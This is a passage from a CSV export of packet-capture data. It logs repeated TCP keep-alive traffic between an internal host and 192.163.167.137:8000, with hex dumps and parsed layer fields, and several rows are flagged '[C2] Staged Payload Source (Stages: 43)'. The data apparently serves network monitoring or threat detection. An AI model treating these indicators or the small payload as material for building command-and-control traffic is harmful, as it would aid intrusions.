Ack=58649526,bc2411360d0cbc24112907bb0800450000342d324000400602c2c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-2@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11570, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 706, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:50.991544,712,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f7400080063f070a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45303, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16135, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:50.991557,713,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d334000400602c1c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-3@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11571, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 705, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:52.007234,714,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649525 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0f8400080063f060a98980bc0a3a789fa5f1f40037eebb5d4a9c52750102014e249000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45304, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16134, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649525, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:52.007257,715,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649526,bc2411360d0cbc24112907bb0800450000342d344000400602c0c0a3a7890a98980b1f40fa5fd4a9c527037eebb68010003f0af700000101050a037eebb5037eebb6,\".$.6\n..$.)....E..4-4@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11572, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 704, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649526, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649525, 58649526))]\"\"}}]\"\n2026-07-01 09:10:52.837500,716,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=58649526 Ack=3567895847,bc24112907bbbc2411360d0c08004500003db0f9400080063ef10a98980bc0a3a789fa5f1f40037eebb6d4a9c527501820147c8b00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45305, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16113, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649526, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:10:52.837544,717,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000282d354000400602cbc0a3a7890a98980b1f40fa5fd4a9c527037eebcb5010003f0aeb0000,\".$.6\n..$.)....E..(-5@.@.......\n....@._...'.~..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 11573, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 715, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:10:53.851004,718,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0fa400080063f040a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45306, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16132, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:53.851045,719,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d364000400602bec0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-6@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11574, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 702, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:10:54.866644,720,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0fb400080063f030a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45307, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16131, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:54.866658,721,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d374000400602bdc0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-7@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11575, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 701, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:10:55.882253,722,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0fc400080063f020a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45308, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16130, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:55.882257,723,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d384000400602bcc0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-8@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11576, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 700, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:10:56.882315,724,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0fd400080063f010a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45309, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16129, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:56.882349,725,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d394000400602bbc0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-9@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11577, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 699, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:10:57.882357,726,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649546 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0fe400080063f000a98980bc0a3a789fa5f1f40037eebcad4a9c52750102014e234000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45310, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16128, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649546, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:57.882390,727,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649547,bc2411360d0cbc24112907bb0800450000342d3a4000400602bac0a3a7890a98980b1f40fa5fd4a9c527037eebcb8010003f0af700000101050a037eebca037eebcb,\".$.6\n..$.)....E..4-:@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11578, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 698, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649547, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649546, 58649547))]\"\"}}]\"\n2026-07-01 09:10:58.882364,728,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP 